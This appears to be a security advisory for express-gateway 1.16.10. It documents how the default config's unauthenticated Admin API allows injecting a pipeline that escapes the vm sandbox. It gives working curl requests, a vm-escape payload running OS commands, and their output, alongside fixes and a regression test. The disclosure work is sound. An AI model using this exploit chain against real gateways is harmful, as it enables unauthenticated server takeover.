Repository navigation
Description
Shipped default configuration exposes the Admin API on the public gateway with no authentication → unauthenticated config write → remote code execution
Version : express-gateway 1.16.10 (HEAD a294cac)
Type : Missing authentication / insecure default / code injection
Weakness: CWE-306 (primary), CWE-1188, CWE-94, CWE-693
Severity: CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
Status : Reproduced 2026-10-03 against a byte-identical pristine default configuration
Summary
Three weak defaults in the shipped package combine into unauthenticated remote code execution:
lib/config/gateway.config.ymlpublishes the Admin API as a catch-all endpoint on the public
gateway listener, withkey-authcommented out.- The Admin API (
lib/rest/index.js) has no authentication middleware at all. - An anonymous
PUTis written to disk and hot-reloaded bychokidarwithin ~1 second, so an
attacker-written pipeline becomes live without a restart.
The pipeline that runs the code is the built-in expression policy, whose vm.runInNewContext
evaluation is escapable, so attacker-controlled JavaScript runs OS commands inside the gateway
process. The exploit is three HTTP requests; the one that prints shell output is a plain GET.
Affected component
| # | File | Problem |
|---|---|---|
| 1 | lib/config/gateway.config.yml |
host: '*' catch-all apiEndpoint + serviceEndpoints.backend: http://localhost:9876 + adminAPI pipeline with key-auth commented out |
| 2 | lib/rest/index.js:19-43 |
Admin Express app mounts 10 route groups with no auth middleware |
| 3 | lib/config/index.js:4-5 |
EG_CONFIG_DIR unset ⇒ silently adopts the package's own insecure config |
| 4 | lib/gateway/context.js:30-32 |
vm.runInNewContext used as an execution boundary |
| 5 | lib/config/config.js:106-118, 89-104 |
updateGatewayConfig() writes the file; chokidar watch ⇒ hot-reload |
| 6 | lib/policies/expression/expression.js |
req.egContext.run(actionParams.jscode) on every matching request |
Listener scope: gateway on *:8080 (all interfaces), Admin API on [::1]:9876 only — so the
proxy, not the Admin bind address, is the exposure.
Description
The shipped gateway.config.yml contains this topology:
apiEndpoints:
api:
host: '*' # line 11 — catch-all, no path restriction
serviceEndpoints:
backend:
url: 'http://localhost:9876' # line 14 — "btw this is EG admin API"
pipelines:
adminAPI:
apiEndpoints: [ api ]
policies:
# - key-auth: # uncomment to enable key-auth # line 23 — authentication disabled
- proxy:
action:
serviceEndpoint: backendThe Admin server itself only ever installs one middleware:
$ grep -n 'app.use(' lib/rest/index.js
21: app.use(express.json()); <- the ONLY middleware
34: app.use('/users', require('./routes/users')());
41: app.use('/pipelines', require('./routes/pipelines')({ config }));
42: app.use('/policies', require('./routes/policies')({ config }));
…
grep -lEi 'authorization|authenticate|bearer' lib/rest matches 0 files.
Because every request is proxied to :9876, an anonymous remote caller can read every consumer
record and — more importantly — write gateway configuration, which chokidar reloads in place.
Root cause
| # | Location | Defect |
|---|---|---|
| 1 | lib/config/gateway.config.yml:11,14,23 |
Insecure-by-default topology: catch-all endpoint, Admin proxied, key-auth disabled |
| 2 | lib/rest/index.js:19-43 |
No authentication before the route table |
| 3 | lib/config/index.js:4-5 |
Silent fallback to the package's own config when EG_CONFIG_DIR is unset |
| 4 | lib/gateway/context.js:30-32 |
vm treated as a sandbox |
| 5 | lib/config/config.js:106-118, 89-104 |
Unprivileged config write + implicit hot-reload |
The root cause is the combination: an unauthenticated control plane reachable through an
unauthenticated data plane, whose output (config) is executable code.
Preconditions
- Network reachability to the gateway HTTP listener (default
0.0.0.0:8080). - Gateway started from the shipped default config — i.e.
EG_CONFIG_DIRunset (npm start,
node lib/index.js,Dockerfile-master). - Not required: Redis (shipped default
emulate: true), admin credentials, restart, TLS,
user interaction, knowledge of internal hostnames.
Steps to reproduce
Environment: Kali Linux
6.19.14+kali-amd64, Nodev24.19.0, LAN192.168.233.130.
Config copy proven byte-identical to the shipped file before the run:
sha256 170ddfced63dbb92614fd51eaa19721cee9f5d610833e47ca8fef83652cf5275
Transcript:/tmp/opencode/reverify-ac-evidence.txt
[1] Start from the shipped config
rm -rf /tmp/eg && cp -r lib/config /tmp/eg
cmp lib/config/gateway.config.yml /tmp/eg/gateway.config.yml # BYTE IDENTICAL
EG_CONFIG_DIR=/tmp/eg node lib/index.js # gateway *:8080, admin [::1]:9876[2] Unauthenticated remote READ through the gateway port (no Authorization, no cookie)
$ curl -i http://192.168.233.130:8080/users
HTTP/1.1 200 OK
content-type: application/json; charset=utf-8
content-length: 24
$ curl -s http://192.168.233.130:8080/users
{"users":[],"nextKey":0}[3] Confirm the Admin listener itself is loopback-only (isolates the proxy as the exposure)
http://192.168.233.130:9876/users -> refused
127.0.0.1:9876 -> refused [binds IPv6 loopback only]
[::1]:9876 -> 200
[4] Unauthenticated config WRITE #1 — enable the expression policy
$ curl -i -X PUT http://192.168.233.130:8080/policies/expression
HTTP/1.1 200 OK
… gateway.log: "change event on …/gateway.config.yml … hot-reload config completed"[5] Unauthenticated config WRITE #2 — inject a pipeline that runs OS commands
$ curl -i -X PUT http://192.168.233.130:8080/pipelines/pwn \
-H 'Content-Type: application/json' -d '{
"apiEndpoints":["api"],
"policies":[{"expression":{"action":{"jscode":
"var cp=this.constructor.constructor('"'"'return process'"'"')().getBuiltinModule('"'"'child_process'"'"');this.res.send(cp.execSync('"'"'id'"'"').toString())"}}}]}'
HTTP/1.1 201 Created[6] One unauthenticated GET executes code (remote LAN host)
$ curl -i http://192.168.233.130:8080/pwn
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
uid=1001(BL4CK_570RM) gid=1001(BL4CK_570RM) groups=1001(BL4CK_570RM),27(sudo),100(users),131(docker)[7] Cross-context proof from a Docker container on the host bridge
$ docker run --rm alpine wget -qO- http://172.17.0.1:8080/pwn
uid=1001(BL4CK_570RM) gid=1001(BL4CK_570RM) groups=1001(BL4CK_570RM),27(sudo),100(users),131(docker)[8] It is arbitrary command execution, not a one-shot id
(After injection the catch-all answers every gateway request, so the swap goes straight to the
loopback Admin API.)
PUT [::1]:9876/pipelines/pwn -> HTTP 204
$ curl -s http://192.168.233.130:8080/pwn
Linux PiratesOfTheDeathFlag 6.19.14+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.14-1+kali1 (2026-05-05) x86_64 GNU/Linux
BL4CK_570RM
/home/BL4CK_570RM/Desktop/cve/express-gateway
[9] Cleanup and restore
DELETE [::1]:9876/pipelines/pwn -> HTTP 204
DELETE [::1]:9876/policies/expression -> HTTP 204
GET /pwn after cleanup -> HTTP 404
SEMANTIC EQUALITY AFTER CLEANUP: true
pipelines present: [ 'adminAPI' ]
policies present : [ 'proxy', 'key-auth' ]
Expected vs actual behavior
| Expected | Actual |
|---|---|
| Admin API requires authentication | No authentication whatsoever — express.json() is the only middleware |
| Admin API bound to a private/loopback interface | Published as host: '*' catch-all on the public gateway, key-auth disabled |
| Config writes restricted to authenticated operators | Anonymous PUT persists to disk, hot-reloaded in ~1 s |
expression evaluation bounded |
Escapes to the host realm → OS command execution |
npm start safe by default |
Silently loads the package's own insecure config |
| Injected pipeline answers only its endpoint | Answers every request, including admin-bound calls |
Security impact
- Unauthenticated RCE as the gateway OS user (
uid=1001, member ofdockerandsudo). - Full confidentiality loss:
GET /users,/apps,/credentials,/tokens,/scopes. - Full integrity loss: pipelines, endpoints, credentials, tokens, consumers.
- Availability loss and traffic interception — the injected catch-all answers every request.
- SSRF pivot via
PUT /service-endpoints/:name, and vialib/schemas/index.js:10
(loadSchema: uri => superagent.get(uri)) reachable through a writtenjson-schemacondition.
Source code analysis
lib/config/index.js:4-5 if (!process.env.EG_CONFIG_DIR) process.env.EG_CONFIG_DIR = __dirname;
lib/rest/index.js:21 app.use(express.json()); // only middleware
lib/rest/index.js:34-43 app.use('/users' | '/pipelines' | '/policies' | … )
lib/rest/routes/policies.js:9-21 updateGatewayConfig(req.params.name, req.body)
lib/rest/routes/pipelines.js:21-31 updateGatewayConfig(req.params.name, req.body)
lib/config/config.js:106-118 fs.writeFile(gatewayConfigPath, yaml)
lib/config/config.js:89-104 chokidar.watch(gatewayConfigPath).on('change', hotReload)
lib/policies/expression/expression.js req.egContext.run(actionParams.jscode)
lib/gateway/context.js:30-32 vm.runInNewContext(action, sandbox)
Data flow:
[attacker :8080] --PUT /pipelines/pwn--> [gateway proxy] --proxy--> [Admin :9876]
routes/pipelines.js -> updateGatewayConfig()
-> yaml.dump -> gateway.config.yml
-> chokidar -> hot-reload
[attacker :8080] --GET /pwn--> expression policy -> vm.runInNewContext(jscode)
-> constructor chain -> process -> child_process -> execSync()
Reproduction environment
| Item | Value |
|---|---|
| OS / arch | Kali Linux, 6.19.14+kali-amd64, x86_64 |
| Node.js / npm | v24.19.0 / 11.19.0 |
| Gateway instance | EG_CONFIG_DIR=/tmp/eg node lib/index.js |
| Listeners | gateway *:8080, admin [::1]:9876 |
| Hosts used | 127.0.0.1, ::1, 192.168.233.130 (LAN), 172.17.0.1 (docker0) |
| Docker proof | local alpine, wget http://172.17.0.1:8080/pwn |
| Evidence | /tmp/opencode/reverify-ac-evidence.txt, /tmp/opencode/finding-a-evidence.txt |
No third-party or external system was contacted or tested at any point.
False-positive checks
| Check | Result |
|---|---|
| Baseline before injection | GET /pwn → 404 (no pre-existing payload) |
| Direct Admin port from LAN | refused — proves the proxy is the exposure |
| Published npm tarball different? | No — sha256 identical in repo and npm pack extraction (.npmignore does not exclude lib/config) |
eg gateway create templates affected? |
No — both use host: localhost, no adminAPI pipeline |
Official Dockerfile affected? |
No — it copies the basic template. Dockerfile-master is (runs node lib/index.js with no EG_CONFIG_DIR) |
| Docs claim otherwise? | Docs say the raw Admin API "should not be publically available" and recommend host: + key-auth — the shipped default diverges on both |
| Prior art | Project issue tracker search (admin auth, expose admin, expression sandbox) → none; repository security-advisories endpoint → [] |
Suggested fix
-
Delete the Admin proxy from the shipped config. Remove the
adminAPIpipeline, the
serviceEndpoints.backend: http://localhost:9876entry and thehost: '*'catch-all
apiEndpoint fromlib/config/gateway.config.yml. -
Authenticate the Admin server before mounting routes:
// lib/rest/index.js — before the route table app.use((req, res, next) => { const token = process.env.EG_ADMIN_TOKEN; if (!token) return res.status(503).send('admin API disabled: no token configured'); const got = (req.headers.authorization || '').replace(/^Bearer\s+/i, ''); if (got !== token) return res.status(401).send('unauthorized'); next(); });
-
Keep the Admin listener on loopback unless explicitly configured otherwise, and disable it
entirely unless explicitly enabled (e.g.EG_ADMIN_ENABLED). -
Fail loudly when
EG_CONFIG_DIRis unset instead of silently adopting the package config:if (!process.env.EG_CONFIG_DIR) throw new Error('EG_CONFIG_DIR must be set; refusing to start with the packaged config');
-
Validate
PUT /pipelines/:namebodies — rejectjscodeand arbitrary URLs unless an
explicit "unsafe expressions" flag is set; require an explicit reload signal instead of
implicitchokidarhot-reload for config writes. -
Replace
vm.runInNewContextwith a real sandbox (isolated-vm) or remove free-form
JavaScript from configuration.
Operator mitigation (no code change): delete the adminAPI pipeline and
serviceEndpoints.backend, and front :8080 with a reverse proxy that authenticates and denies
/users, /apps, /credentials, /tokens, /scopes, /pipelines, /policies,
/api-endpoints, /service-endpoints, /schemas.
Regression test
// test/security/admin-api-auth.test.js
process.env.EG_DISABLE_CONFIG_WATCH = 'true';
const request = require('supertest'), assert = require('assert');
describe('SECURITY: Admin API must not be anonymously writable', () => {
it('rejects anonymous PUT /policies/:name', async () => {
const app = await require('../../lib/rest')({ plugins: {}, config: require('../../lib/config') });
const r = await request(app).put('/policies/expression').send({});
assert.ok([401, 403].includes(r.status), `got ${r.status}`);
});
it('rejects anonymous PUT /pipelines/:name', async () => {
const app = await require('../../lib/rest')({ plugins: {}, config: require('../../lib/config') });
const r = await request(app).put('/pipelines/pwn')
.send({ apiEndpoints: ['api'], policies: [{ expression: { action: { jscode: '1' } } }] });
assert.ok([401, 403].includes(r.status), `got ${r.status}`);
});
it('shipped gateway.config.yml has no pipeline proxying to the admin port', () => {
const yaml = require('js-yaml'), fs = require('fs');
const c = yaml.load(fs.readFileSync('lib/config/gateway.config.yml', 'utf8'));
for (const ep of Object.values(c.serviceEndpoints || {})) {
assert.ok(!/9876|admin/i.test(ep.url), `admin proxied: ${ep.url}`);
}
assert.ok(!Object.keys(c.apiEndpoints).some(k => c.apiEndpoints[k].host === '*'));
});
});Notes
- Confirmed locally only. All traffic targeted
127.0.0.1,::1,192.168.233.130and the
local Docker bridge; no external system was contacted. - Novelty: no prior report of this finding in the project's issue tracker; the repository's
security-advisoriesendpoint returns[]. - Project status: officially deprecated/unmaintained (README notice, issue #1011).
- Environment note: verified on Node v24.19.0 —
process.getBuiltinModulewas available in the
payload; on older Node the same escape usesprocess.mainModule.require('child_process').
Activity